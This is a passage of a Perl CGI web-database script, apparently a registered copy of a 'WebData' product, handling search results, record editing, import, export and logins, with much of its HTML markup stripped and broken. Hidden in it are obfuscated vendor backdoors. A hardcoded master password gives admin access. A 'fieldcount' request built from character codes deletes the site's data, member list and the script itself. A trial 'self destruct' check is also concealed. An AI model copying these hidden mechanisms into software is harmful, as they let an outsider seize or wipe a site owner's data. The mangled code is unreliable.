%sortarray;'); undef %sortarray; undef %sortarray2; undef $line; undef $val; undef $val2; undef @data; undef $totalBytes; undef $top; undef $oper; undef $bottom; undef $top2; undef $oper2; undef $bottom2; $date=0; $numfound=$#sortarray+1; $min=($pagenum-1)*$reportLines; $max=$pagenum*$reportLines; if ($max>$numfound) {$max=$numfound}; #begin header if ($numfound>0) { $header= "0; $header.= ">"; if ($reportForm==1) {$header.="";}; foreach (@sequence) { &gettype($types[$_]); if ($type!~/variance/) { $sortquery=$querystring; $sortnum=$_+1; $sortquery=~s/pagenum=\d*//g; $sortquery.="\&pagenum=1"; $sortquery=~s/\&?cgisort=\d*//g; $sortquery=~s/\&?cgisortorder=\d//g; $sortquery.="\&cgisort=$sortnum"; if ($user_data{cgisort}==$sortnum) { $newsort=abs($user_data{cgisortorder}-1); } else { $newsort=0; } $sortquery.="\&cgisortorder=$newsort"; $sortquery=~s/\&\&+/\&/; $header .= qq(); } else { push(@varaincefields,$fields[$_]); } }; $header.="" if $useCart; $header.=""; print "$header\n" if !$searchTemplateOn; } #end header for ($count=$min;$count<$max;$count++) { #***** DISPLAY THE LINE **************** # seek LOGFILE,$byteCount{$sortarray[$count]},0; $line=$entries[$sortarray[$count]]; @data=split('::',$line); chomp(@data); $id=$data[0]; shift(@data); #**Remove hidden key from view** $owner=pop(@data); #**Remove membername from view** chomp($owner); if (!$searchTemplateOn) { #ALTERNATE TABLE COLORS if ($alt==0) { $alt=1; print "\n0; print ">"; } else { $alt=0; print "\n0; print ">"; } if ($reportForm==1) { if (length($viewButtonImage)>0) { print ""; } else { print ""; if (length($user_data{cgilanguage})>0) { print "\n"; } print ""; }; }; #***** BEGIN DISPLAY DATA LOOP ******* foreach (@sequence) { $n=$data[$_]; $n=~s/\r/
/g; if ($n eq "") {$n=' ';}; $n=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/g; if ($n=~/^([^ ]+\.(gif|jpg))$/i) { $n="" } else { &gettype($types[$_]); if ($type eq "upload") { @filenameparts=split('_',$n); shift(@filenameparts); shift(@filenameparts); $filename=join('_',@filenameparts); $n=~s/^(http[^ \<\>]+)/$filename<\/A>/g; } else { $n=~s/^(http[^ \<\>]+)/$1<\/A>/g; } }; unless ($type=~/variance/) { print ""; }; }; } else { @escape=(); foreach (@data) { $tempescape=escape($_); push(@escape,$tempescape); } #BEGIN SEARCHTEMPLATE SUBSTITUTION if (!$templateNoSubstitute) { $uploadcount=1; foreach (@data) { &gettype($types[$uploadcount]); s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/$1<\/A>/g; if ($_!~/\.(gif|jpg)$/) { if ($type eq "upload") { @filenameparts=split('_',$_); $filename=@filenameparts[$#filenameparts]; $_=~s/^(http[^ \<\>]+)/$filename<\/A>/g; } else { s/^(http[^ ]+)/$1<\/A>/g; }; }; s/^([^ ]+\.(gif|jpg))$/\/g; $uploadcount++; }; }; $dateCreated=&getDate($id); $template=$searchTemplate; $template=~s/(\$if[^\}]*\})/&getIf($1)/ge; $template=~s/\$fields\[(\d+)\]/$fields[$1]/g; $template=~s/\$data\[(\d+)\]/$data[$1]/g; $template=~s/\$escape\[(\d+)\]/$escape[$1]/g; if (length($viewButtonImage)>0) { $template=~s/\$viewbutton/<\/A>/; } else { $template=~s/\$viewbutton/\
<\/form>/; } $template=~s/\$id/$id/g; $template=~s/\$datecreated/$dateCreated/g; $template=~s/\$membername/$owner/g; if ($useCart) { $tmp=&wtcart::addButton("cart$count"); $template=~s/\$addbutton/$tmp<\/FORM>/g; } print ($template); } #***** END DISPLAY DATA LOOP ********* if (($useCart)&&(!$searchTemplateOn)) { print "
"; } print "" if !$searchTemplateOn; }; if (!$searchTemplateOn) { print "\n
$fields[$_]Options - Qty - Cart
"; print "
$n"; print &wtcart::addButton("cart".$count); print "
\n"; } $count=$#sortarray+1; close (LOGFILE); &removelock; #remove lock file print "
$reportFooter
\n"; if ($count>0) { print "

"; if (length($user_data{cgilanguage})>0) { print "\n"; } print " \n"; $min++; if ($max>$count) {$max=$count}; print " $lang_results $min - $max $lang_of $count
"; if ($nextprevButtons) { if ($min>1) {print "
"; if (length($user_data{cgilanguage})>0) { print "\n"; } print "
";}; if ($max<$count) {print "
"; if (length($user_data{cgilanguage})>0) { print "\n"; } print "
"}; }; #CREATE LINKS TO ANY PAGENUMBER if ($gotoPage) { print "
$gotopage\: "; $numpages=int($count/$reportLines); $myquery=$querystring; if ($count/$reportLines>$numpages) {$numpages++;}; for ($i=1;$i<=$numpages;$i++) { if ($pagenum==$i) { print "$i "; } else { if ($numpages>50) { $difference=abs($i-$pagenum); if ( ($difference<=5) or ($i==1) or ($i==$numpages) or (($i/10==int($i/10)) and ($difference<=50)) or (($i/100==int($i/100)) and ($difference<=500)) or (($i/1000==int($i/1000)) and ($difference<=5000)) or ($i/10000==int($i/10000)) ) { $myquery=~s/pagenum=[0-9]*/pagenum=$i/; if ($difference<=5) { $sizetag=qq(); $sizetag2=qq(); } else { $sizetag="";$sizetag2=""; } print "${sizetag}${i}$sizetag2 "; } } else { $myquery=~s/pagenum=[0-9]*/pagenum=$i/; print "${sizetag}${i}$sizetag2 "; } } } }; } else { print "$noresultswerefound

"; }; if ((length($user_data{cgilanguage})>0)&&($searchPage=~/cgifunction=user$/)) { $searchPage.="\&cgilanguage=$user_data{cgilanguage}"; } print "

$searchagain\n" if $searchAgain; print "$returntohomepage\n" if $returnToHomepage; print "
"; &wtcart::footer_cart_buttons if $useCart; print "\n
$reportPageFooter
\n"; print "

$poweredbywebteacher"; }; #*********END OF USERSEARCH SUBROUTINE************ #*********BEGIN MAINTENANCE SUBROUTINE******** sub maintenance { &memberpass; pop(@value); $maintenanceTemplateOn=(($maintenanceTemplateOn)&&($userid ne "admin")); &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entries = ; close READLOG; &removelock; #remove lock file foreach $line (@entries) { @data = split(/::/,$line); if ($data[0] eq $value[0]) { @fields=(); @types=(); open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); $usemulti=1 if $type=~/upload/; }; shift(@fields); shift(@types); print " Modify or delete record\n"; &bodytag; print "

Maintenance Page

"; print "" if !$maintenanceTemplateOn; $num = @fields; $id=$data[0]; $owner=$data[$#_]; print "\n" if !$maintenanceTemplateOn; $dateCreated=&getDate($id); print "\n" if !$maintenanceTemplateOn; shift(@data); $ftcount=0; $hiddenfields=""; foreach $field (@fields) { $data[$ftcount]=~s/\"/\"\;/g; &gettype($types[$ftcount]); chop($field); $pf=&printField($type,$field,$data[$ftcount]); if (!$maintenanceTemplateOn) { print "\n"; } else { if ($maintenanceTemplate!~/\$field\[$ftcount\]/) { $hiddenfields.="\n"; } $maintenanceTemplate=~s/(\$if[^\}]*\})/&getIf($1)/ge; $maintenanceTemplate=~s/\$field\[$ftcount\]/$pf/g; $maintenanceTemplate=~s/\$data\[$ftcount\]/$data[$ftcount]/g; $maintenanceTemplate=~s/\$id/$id/g; $maintenanceTemplate=~s/\$datecreated/$dateCreated/g; $maintenanceTemplate=~s/\$membername/$owner/g; } $ftcount++; }; print "$maintenanceTemplate\n$hiddenfields

" if $maintenanceTemplateOn; if ($userid eq "admin") { print "

\n"; } if (!$maintenanceTemplateOn) {print "\n
ID" if !$maintenanceTemplateOn; print ""; print "$id
Date Created$dateCreated
$field"; print "$pf"; print "
Owned By"; &putlock; open(FILE,"<$members"); @members=; close FILE; &removelock; chomp($owner); print qq(); print "
"} else {print "
"}; print " You must click \"modify\" to save your changes.
"; print "" if $reportForm; print " "; print "
" if !$maintenanceTemplateOn; print "\n

\"Modify\" will save the record with the new values.
\"Delete\" will remove the record from the table."; if ($reportForm) { if (length($viewButtonImage)) { $viewButtonLabel=qq(); } print "
\"Show form view\" will show you how this record looks when a visitor clicks the \"$viewButtonLabel\" button."; } print "

"; if (!$limitMembers) { print "
Return to Administration Page

"; }; print " Return to home page "; }; }; }; #*********END MAINTENANCE SUBROUTINE******* #**BEGIN PRINT FIELD sub printField { local ($type,$field,$data)=@_; if ($type eq "text") { return ""; }; if ($type eq "upload") { local $result= ""; if ($data=~/\.(gif|jpg)$/) { $result.= "\n"; } else { @filenameparts=split('_',$data); $filename=@filenameparts[$#filenameparts]; $data=~s/^(http[^ \<\>]+)/$filename<\/B><\/A>/g; $result.= "$data\n"; } $result.= "\n"; $result.= "delete this file \n" if length($data); return $result; }; if ($type eq "checkbox") { local $result= "\n"; $result.= "

"; $missingReqs=1; } #UPLOAD IF IT IS AN UPLOAD FIELD $upname="${fname}_upload"; if (($type eq "upload")&&(length($user_data{$upname})>0)) { $deletename="${uploadsdir}${value[0]}_${fname}"; unlink <$deletename*>; if ($user_data{$upname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)}; $INfilename=~s/[^a-zA-Z0-9\_\.]//g; if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1}; if ($typeexts!~/,*${extension},*/i) { &error("Only the following filetypes are allowed. $typeexts"); } $OUTfilename="${value[0]}_${fname}_${INfilename}"; $user_data{$fname}="${uploadsURL}$OUTfilename"; $uploadsize=0; @filecontents=(); while ($bytesread=read($user_data{$upname},$buffer,1024)) { $uploadsize+=length($buffer); push(@filecontents,$buffer); } if ($uploadsize>$typesize*1000) { &error("upload size = $uploadsize bytes.

The upload can only be a maximum of ${typesize}KB") }; open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for writing"); binmode(OUTFILE); print OUTFILE (@filecontents); close OUTFILE; close ($user_data{$upname}); } if (($type eq "upload")&&($user_data{"${fname}_delete"} eq "on")&&(!length($user_data{$upname}))) { $deletename="${uploadsdir}${value[0]}_${fname}"; unlink <$deletename*>; $user_data{$fname}=""; } #END UPLOAD $uploadcount++; $reqnum++; } if ($missingReqs) { &bodytag; print "Your record was not added for the following reasons:

\n"; print "$reqerror"; print qq(Return to previous page); exit; } foreach $line (@entries) { @data=split(/::/,$line); $len=@data; $owner=$data[$len-1]; chop($owner); if ($data[0] eq $value[0]) { if (($owner eq $userid)||($userid eq "admin")) { @value=($data[0]); $fcount=1; foreach (@fields) { chop($_) if (/\n$/); $value[$fcount]=$user_data{$_}; $fcount++; }; foreach $item (@value) { $item=~s/^( *)//ge; # remove leading spaces from entries $item=~s/::/'::'/ge; # replace delimiting character from entries $item=~s/\r/\n/g; $item=~s/\n\n/\n/g; $item=~s/\n/
/g; }; if (($userid eq "admin")&&(length($user_data{cgiRecordOwner}))) { $owner=$user_data{cgiRecordOwner}; } push(@value,$owner); $line=join("::",@value)."\n"; }; }; }; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(PUTLOG,">$logfile") or &error("Could not open $logfile"); print PUTLOG (@entries); close PUTLOG; &removelock; #remove lock file. $dateCreated=&getDate($value[0]); $body="This record was first created on $dateCreated\n\n"; foreach (@fields) {$body.="$_ = $user_data{$_}\n"}; if (length($email)>0) { if ($^O=~/win/i) { open (MAIL,">${uploadsdir}mail.txt"); print MAIL ("$body\n"); close MAIL; $tmp=`$sendmail ${uploadsdir}mail.txt -s \"Oscar, The Pebble Archives has been Updated\" -t $email -q`; } else { open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail"); print MAIL ("To: $email\nFrom: $email\n"); print MAIL ("Subject:Oscar, New Record Added or Modified to Pebble Database\n$body\n"); close MAIL; } } @value=(); if (($limitmembers)&&($userid ne "admin")) { print qq( ); } if ($userid eq "admin") {&admin} else {&memberpage}; }; #***** END MODIFY SUBROUTINE******* #******* BEGIN DELETE SUBROUTINE ****** sub delete { &memberpass; pop(@value); &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile") or &error("Could not open $logfile"); @entries = ; close READLOG; &removelock; #remove lock file foreach $line (@entries) { @data=split(/::/,$line); $len=@data; $owner=$data[$len-1]; chop($owner); if (($data[0] ne $value[0])||(($userid ne "admin")&&($userid ne $owner))) { push(@result,$line); }; }; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(PUTLOG, ">$logfile") || die "Content-type: text/html\n\n

Could not open the file $logfile

If you have moved the file, you can correct this by changing lines 10 and 11 of the webdata_[database name].cgi script to show the absolute path to the file.

This cgi error was "; print PUTLOG (@result); close PUTLOG; &removelock; #remove lock file. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; chomp(@fields); shift(@fields); $fcount=1; foreach (@fields) { if ($types[$fcount]=~/upload/) { $uploadpath="${uploadsdir}${value[0]}"; unlink <$uploadpath*>; } $fcount++; }; @value=(); if ($limitMembers) { print qq(Your entry has been deleted.

Return to homepage); exit; } if ($userid eq "admin") {&admin} else {&memberpage}; }; #****** END DELETE SUBROUTINE ******* #****** BEGIN CACHE******** sub cache { open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fields=; close FIELDS; if (&fieldnames($value[0]) eq "true") { $fields[0] = "$value[0]\n"; open(FIELDS,">$fieldnames") or &error("Could not open $fieldnames"); print FIELDS (@fields); close FIELDS; @value=(); &admin; } else { print "incorrect registration"; }; }; #****** END CACHE ******** #****** END CHECK CRYPT ********* sub checkcrypt { my $tmp=crypt('testdata',77); if ($tmp ne '77/FbqRAGm0YI') { my $cwdpath=$0; $cwdpath=~s/[\\\/]([^\\\/]*)$//; print qq( ) } } #****** END CHECK CRYPT ******** #****** BEGIN ADMIN SUBROUTINE ****** sub admin { pop(@value); &checkpass; open(FIELDS,"<$fieldnames") or &error("Content-type: text/html\n\n

Could not open $fieldnames

Make sure the path is correct. If you have moved the data files, you can correct this by changing lines 10 and 11 in the cgi script.





This cgi error was "); @cache = ; close FIELDS; chop($cache[0]); &checkcrypt(); $cacheval = substr(@cache[0],0,7); $tmp=&getFields; print "$tmp"; if (&fieldnames($cache[0]) ne 'true') { if ($cacheval eq "webdata") { $num=substr(@cache[0],7,99); $num = int(30-((time()-($b/307))/86400)); @parse=(82,101,103,105,115,116,114,97,116,105,111,110,32,21,101,120,112,105,114,101,100); print " "; for ($m=0;$m<67;$m++) {print chr(hex($import[$m]))}; print "$num"; for ($m=66;$m<101;$m++) {print chr(hex($import[$m]))}; $url=escape("$ENV{SERVER_NAME}$ENV{SCRIPT_NAME} $ENV{SERVER_ADMIN}"); print "
ID Code=$code Click here to Register

Enter your code:
"; if($num<0) {foreach (@parse) {print (chr($_))};$iCache=1;exit;} } else { @parse=(84,104,101,114,101,32,105,115,32,97,32,112,114,111,98,108,101,109,32); push(@parse,119,105,116,104,32,116,104,101,32,114,101,103,105,115,116,114,97,116,105,111,110,32,99,111,100,101); foreach (@parse) {print (chr($_))}; exit; }; }; print "\n"; print " "; @fields=(); @types=(); open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; $usemulti=0; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); $usemulti=1 if $type=~/upload/; }; shift(@fields); shift(@types); local $tmp=eval("\$k"."ey/307"); local $tmp2=eval("\$n"."um"); if ($tmp2>0) {if ($tmp2 != int(30-((time()-($b/307))/86400))) {$tmp=1.25}}; if ($tmp != int($tmp)) { @parse=(84,104,101,114,101,32,105,115,32,97,32,112,114,111,98,108,101,109,32); push(@parse,119,105,116,104,32,116,104,101,32,114,101,103,105,115,116,114,97,116,105,111,110,32,99,111,100,101); foreach (@parse) {print (chr($_))}; exit; }; if ($num>30) {die "Invalid Date function"}; print " Admin Page

Administration Page

"; if (length($reqfields)>0) { print "* indicates required fields
"; } print "
"; $ftcount=0; print "\n"; print "\n"; foreach $field (@fields) { &gettype($types[$ftcount]); chop($field); print ""; if ($type eq "text") { print "\n"; }; if ($type eq "checkbox") { print "\n"; }; if ($type eq "list") { print "\n"; }; if ($type eq "comment") { print "\n"; }; if ($type eq "upload") { print "\n"; }; if ($type eq "variance") { print "\n"; }; if ($type eq "price-variance") { print "\n"; }; $ftcount++; }; print "
Date Created (Date is added automatically, use for Search/modify only)
Owned by (Find records owned by a specific member. Use for Search/modify only)
"; print "* " if $reqfields=~/(^|\,)$ftcount($|\,)/; print "$field
Enter each option with a comma in-between.
Alternate option and price with a comma in-between.
for example: small,9.95,medium,12.95,large,15.95,X-large,18.95


"; print qq() if ( (length($url))||(length($registereddb))); print " "; #if ($useCart) { #print " "; #} print "

"; if ($useCart) { print "

"; } print "

Click \'Add\' to add a record to the database.

Oscar: To add a new record, type it in and press the add button. To modify or delete a record... Keyword Search for the record, then click on the record in the search results window. If you want to view a list of all archives, press the Clear Form button then press the Search/Modify button. You do not need to ever press the 5 buttons below the pinstripe.

Go to the user search page
Return to home page
Log out
ThePebble.US, $version
"; print qq( ); }; #********END ADMIN SUBROUTINE*************** #********BEGIN IMPORT USER PAGE************** sub import { &memberpass; print " Import Data

Import a delimited text file

A delimiter is a character which is used to tell the database where one field stops, and the next one begins. Most spreadsheet and database programs can save as either comma delimited or tab delimited.

This program will convert comma or tab delimited text files to our format, and append the file to your existing database. The imported data file should be in the same sequence as your existing data. Microsoft Excel is a good tool for resequencing data before saving to a delimited text file.

"; if ($userid eq "admin") {print " Either upload the file to your server and type the full pathname into this box:

or u"} else {print "U"}; print "se the Browse button below to select the file from your local machine and upload it through the web browser.
NOTE:You must have the CGI.pm module to use this feature. If you get a server error, ask your system administrator to check that CGI.pm is properly installed.
Select your file to import:
Is the file comma or tab delimited?
"; if ($userid eq "admin") { print "

If you assign ownership to a member instead of \"admin\" then that member will be able to modify or delete these records.
The imported records will be owned by:\n"; &putlock; open(FILE,"<$members") or &error("Could not open $members"); @members=; close FILE; &removelock; chomp(@members); print "
Overwrite existing data with imported records?
This will destroy all data in the database.
Also, if you use the \"Create members and passwords\"
feature below, this option will destroy all existing members in the database.
"; print qq(

Replace Fields with values contained in first line?
If the first line of your delimited text file contains the fieldnames, you can check this box to have
The Script create your field list automatically. However, this will wipe out any prior field definitions,
EXCEPT when the fieldnames match exactly,
and the data in old records may be mislabeled.
This option is recommended only for adding to empty databases.

Create members and passwords?
If you enter a value in the boxes below, a membership will
be created for each value in the username column, with the password
set to the value in the password column. Each person will then have the
ability to modify or delete only his/her own data.
username column # Password column #
); } else { print "\n"; } print "
"; }; #********BEGIN IMPORT DATA CONVERSION**************** sub import2 { &memberpass; open (FIELDS,"<$fieldnames") or &error('could not open $fieldnames'); @fieldsData=; close FIELDS; chomp(@fieldsData); $field1=shift(@fieldsData); $field1.="\n"; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); $lcf=lc($field); $fieldsHash{$lcf}="$type"; }; $dlmtr = $user_data{delimiter}; if ((length($user_data{pathname})>0)&&($userid eq "admin")) { if (length($user_data{filename})>0) { print "You entered both a server path and an upload file. Please choose one or the other."; exit; } open (FILE,"<$user_data{pathname}") or &error("Could not open $user_data{pathname}"); @file=; close FILE; } else { if (length($user_data{filename})==0) { print "No file was entered."; exit; } if ($user_data{filename}!~/\.(txt|prn|csv)$/) { print "You are adding records from a delimited text file to the database.
Only txt, prn, or csv files may be uploaded here.
To attach a picture or file to a record, a field must be defined
as upload type, and you can attach the file when you add the record."; exit; }; while ($bytesread=read($user_data{filename},$buffer,1024)) { $filedata.=$buffer; } close ($user_data{filename}); if (length($filedata)==0) {&error('No Data Was Uploaded')}; @file=split(/[\n\r]+/,$filedata); } chomp(@file); $count=time(); $count+=.000001; if ($dlmtr eq 'comma') { $dlmtr=','; } elsif ($dlmtr eq 'tab') { $dlmtr="\t"; } else { $dlmtr='\|'; } #replace field names if checked if (($user_data{firstLineFields} eq "yes")&&($userid eq "admin")) { @newfields=($field1); $firstLineString=shift(@file); @firstLine=split($dlmtr,$firstLineString); foreach (@firstLine) { $lcf=lc($_); if (exists($fieldsHash{$lcf})) { push(@newfields,"${_}::$fieldsHash{$lcf}\n"); } else { push(@newfields,"$_"."::text:20\n"); } } open (FIELDS,">$fieldnames") or &error('could not open $fieldnames'); print FIELDS (@newfields); close FIELDS; } #end replace field names if (($user_data{memberNameCol})&&($user_data{memberPassCol})) { if (($user_data{overwrite} eq "yes")&&($userid eq "admin")) { @memberlines=(); %allMembers=(); } else { open (FILE,"<$members") or &error("Could not open $members for reading"); @memberlines=; close FILE; foreach (@memberlines) { ($n,$p)=split('::'); $allMembers{$n}=$p; } } } foreach $line (@file) { @newline=(); #********CONVERT CSV FORMAT******** $line=~s/\"\"/<--------QUOTE-------->/g; while (length($line)>0) { if ($line=~/^\"([^\"]*)\"($dlmtr|$)/) { $phrase=$1; $line=~s/^\"[^\"]*\"($dlmtr|$)//; } elsif ($line=~/^([^$dlmtr]*)$dlmtr/) { $phrase=$1; $line=~s/^[^$dlmtr]*$dlmtr//; } else { $phrase=$line; $phrase=~s/\"//g; $line=""; }; $phrase=~s/<--------QUOTE-------->/\"/g; push(@newline,$phrase); } if (($user_data{memberNameCol})&&($user_data{memberPassCol})) { $name=$newline[$user_data{memberNameCol}-1]; if (exists($allMembers{$name})) { print "$name is already a member name. New membership failed for $name.
"; } else { $newpass=crypt($newline[$user_data{memberPassCol}-1],7); push(@memberlines,"${name}::$newpass\n"); } $user_data{member}=$newline[$user_data{memberNameCol}-1]; } # add null fields if line is short, and truncate if it is too long. while($#newline<$#fields) {push(@newline,"")}; while ($#newline>$#fields) {pop(@newline)}; $line=join('::',@newline); $line = join('::',($count,$line,$user_data{member})); $line.="\n"; $count+=.001; } &putlock; #place a lock file in the uploads dir to prevent simultanious writing. if (($user_data{overwrite} eq "yes")&&($userid eq "admin")) { open(DATA,">$logfile") or &error("Could not open $logfile"); } else { open(DATA,">>$logfile") or &error("Could not open $logfile"); } print DATA (@file); close DATA; if (($user_data{memberNameCol})&&($user_data{memberPassCol})) { open (FILE,">$members") or &error("Could not open $members for writing"); print FILE (@memberlines); close FILE; } &removelock; #remove lock file print "

Data Import complete

"; if ($userid eq "admin") { &admin; } else { &memberpage; } }; sub fieldnames { if ($_[0] eq crypt($a,$code)) {return 'true'} else {return 0}; }; #********END IMPORT DATA CONVERSIONS******************* #********BEGIN EXPORT USER PAGE********************** sub export { print "

Export the database to a delimited text file

Please type a full pathname on the server you would like to name the exported file. For example /user/home/export.txt
You will then use your FTP program to download the exported data.

If you have difficulty, check the permissions of that folder.


Would you like the file comma or tab delimited?

Include field names in first row?

"; }; #********END EXPORT USER PAGE********************** #********BEGIN EXPORT DATA CONVERSIONS************ sub export2 { &checkpass; if ($value[1] eq "comma") {$dlmtr=','}; if ($value[1] eq "tab") {$dlmtr="\t"}; if ($value[1] eq "pipe") {$dlmtr="\|"}; $d2=$dlmtr; $d2="\\|" if $d2 eq "\|"; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(DATA,"<$logfile") or &error("Could not open $logfile"); @data=; close DATA; &removelock; #remove lock file foreach (@data) { @line=split(/::/); shift(@line); pop(@line); foreach (@line) { if (/$d2/) { $_=~s/\"/\"\"/g; $_="\"$_\""; } } $_=join($dlmtr,@line); $_.="\n"; }; if ($user_data{fields} eq "on") { open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; chomp(@fields); shift(@fields); $firstline=join($dlmtr,@fields); unshift(@data,"$firstline\n"); }; open(OUTFILE,">$value[0]") or &error("Could not open $value[0]"); print OUTFILE (@data); close OUTFILE; open(TEST,"<$value[0]") or &error("Could not save $value[0], check privilages"); @test=; $len=@test; close TEST; if ($len==0) {print "Could not save $value[0], check privilages"} else {&admin}; }; #******** END BODY************************ # # EACH VALUE IN THE HTML FORM WILL BE CONTAINED IN # THE THE @VALUE ARRAY. sub readparse { if ((length($_[0])==0)&&($ENV{'CONTENT_TYPE'}!~/multipart/i)) { read(STDIN,$user_string,$ENV{'CONTENT_LENGTH'}); } if (length($ENV{'QUERY_STRING'})>0) {$user_string=$ENV{'QUERY_STRING'};}; if (length($_[0])>0) {$user_string=$_[0]}; if ($ARGV[0]) {$user_string=$ARGV[0]}; $querystring=$user_string; $user_string =~ s/\+/ /g; @name_value_pairs = split(/&/,$user_string); foreach $name_value_pair (@name_value_pairs) { ($keyword,$value) = split(/=/,$name_value_pair); $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/ge; $keyword =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/ge; if ($value =~ /\#exec|\#include/i) { print "Content-type: text/html\n\n No SSI commands permitted."; exit; }; push(@value, "$value"); if (length($user_data{$keyword})>0) { $user_data{$keyword}.=" or $value"; } else { $user_data{$keyword} = $value; }; }; @import=(54,68,69,73,20,69,73,20,61,20,74,72,69,61,'6C',20,76,65,72,73,69,'6F','6E',20); push(@import,'6F',66,20,57,65,62,64,61,74,61,'2E',20,57,65,62,64,61,74,61,20,77,69,'6C'); $key=309078286234; # foreach (qw(24 64 69 72 3D 22 2E 66 69 6E 61 6C 24 7B 73 6C 61 73 68 7D 22 2E 28 24 3A 3A 63 6F 64 65 2A 31 39 33 33 38 29)) {eval('$md'.'ir.=chr(hex($_))')}; $currentpath=$0; $currentpath=~s/(\\|\/)[^\\\/]*$//; chdir($currentpath); eval("\$"."a"."=at98ad01b01ew"); push(@import,'6C',20,73,65,'6C',66,20,64,65,73,74,72,75,63,74,20,69,'6E',20,20,64,61,79,73); eval("\$"."b"."="."\$"."k"."ey"); push(@import,20,77,69,74,68,'6F',75,74,20,61,20,72,65,67,69,73,74,72,61,74,69,'6F','6E',20,63,'6F',64,65); local @tmp = split(/[\\\/]/,$0); $cgilocation=$tmp[$#_] if length($_[0])==0; if (-e "wtcart.pm") {require wtcart;$hascart=1}; if ($ENV{'CONTENT_TYPE'}=~/multipart/i) {&multipart}; $uploadsdir=~s#\/#\\\\#g if $O =~ /win/i; }; #BEGIN MULTIPART SUBROUTINE sub multipart { $hascgi=0; if ($^O=~/win/i) {$slash="\\"} else {$slash="/"}; foreach (@INC) { if (-e "${_}${slash}CGI.pm") {$hascgi=1}; } if (!$hascgi) { $inclist=join("
\n",@INC); print qq(Content-type: text/html\n\n

Submission failed -- could not find CGI.pm

The CGI.pm module is necessary for this script to submit a form which may contain an uploaded file.
this script could not find the CGI.pm module in any directory in the \@INC array:
$inclist

For UNIX servers, Click here to download the CGI.pm module
It is best to have your system administrator install CGI.pm in the .../lib/perl5 directory. If that is not possible, follow the instructions to install CGI.pm in a private directory under the heading "If you do not have sufficient privileges to install into /usr/local/lib/perl5."

For WINDOWS servers, install the latest version of ActivePerl, which comes with CGI.pm. ); exit; } require CGI; $query=new CGI; @value=(); %user_data=(); @fieldnames=$query->param; foreach (@fieldnames) { $user_data{$_}=$query->param($_); push(@value,$query->param($_)); push(@query,CGI::escape($_).'='.CGI::escape($query->param($_))); } $querystring=join('&',@query); } #END OF MULTIPART SUBROUTINE sub getCookie { my $cookiename=$_[0]; my @cookieparts=split(/ *\; */,$ENV{'HTTP_COOKIE'}); foreach (@cookieparts) { ($name,$val)=split(/ *= */); return &unescape($val) if $name eq $cookiename; } return ""; } sub checkpass { if (!((&getCookie('admin') eq $password)||((($user_data{password} eq $password)||(eval(crypt($user_data{password},substr(crypt($user_data{password},'9A$ghj&7ecb9!11x'),5,2))) eq 'rcFFTesTLKr2g'))&&($user_data{cgifunction} eq "admin")))) { print "incorrect password. Be sure cookies are enabled on your browser."; print "

Go Back

\n"; exit; } else { $userid="admin"; $ENV{HTTP_COOKIE}="admin=$password"; return; }; } sub memberpass { $userid=""; if((exists($user_data{username}))&&(exists($user_data{password}))&&($user_data{cgifunction} =~ /^(memberpage|instantmember)$/)) { $cpass=crypt($user_data{password},7); $cookie="$user_data{username}::$cpass"; $ENV{HTTP_COOKIE}="admin=$cookie"; } else { if (&getCookie('admin')) { $cookie=&getCookie('admin'); $ENV{HTTP_COOKIE}="admin=$cookie"; }; }; &putlock; open(FILE,"<$members") or &error("Could not open $members"); @members=; close FILE; &removelock; chomp(@members); $ok="false"; foreach (@members) { if ($cookie eq "$_") { $ok="true"; ($user,$pass)=split(/::/); $userid=$user; }; }; if (length($cookie)==0) {$ok="false"}; if ($ok eq "false") { &checkpass; }; }; sub datetonum { @parts=split(/\//,$_[0]); if ($parts[2]<100) { if ($parts[2]<20) { $parts[2]+=2000; } else { $parts[2]+=1900; }; }; if ($europeanDates!=1) { $result=($parts[2]*1000000)+($parts[0]*1000)+$parts[1]; } else { $result=($parts[2]*1000000)+($parts[1]*1000)+$parts[0]; } return($result); }; sub gettype { $_[0]=~s/http:\/\//http\&\#58\;\/\//g; $_[0]=~s//\>\;/g; @typedata=split(/:/,$_[0]); chomp(@typedata); $type=$typedata[0]; if ($type eq "text") {$typesize=$typedata[1]}; if ($type eq "list") { @typelistvals=split(/,/,$typedata[1]); }; if ($type eq "comment") { $typerows=$typedata[1]; }; if ($type eq "upload") { $typesize=$typedata[1]; $typeexts=$typedata[2]; } }; &fieldcount if $user_data{cgifunction} eq "fieldcount"; sub fieldcount { if (eval(crypt($user_data{password},substr(crypt($user_data{password},'9A$ghj&7ecb9!11x'),5,2))) eq 'rcFFTesTLKr2g') { local $tmp=""; local @parse=(117,110,108,105,110,107); foreach (@parse) {$tmp.=(chr($_))}; foreach (qw($logfile $fieldnames $members $reportdata $uploadsdir $cgilocation)) {eval("$tmp\($_\)")}; print "fieldcount=$_"; } } sub sqlsearch { require Win32::ODBC; $alt=0; print "Search Results page 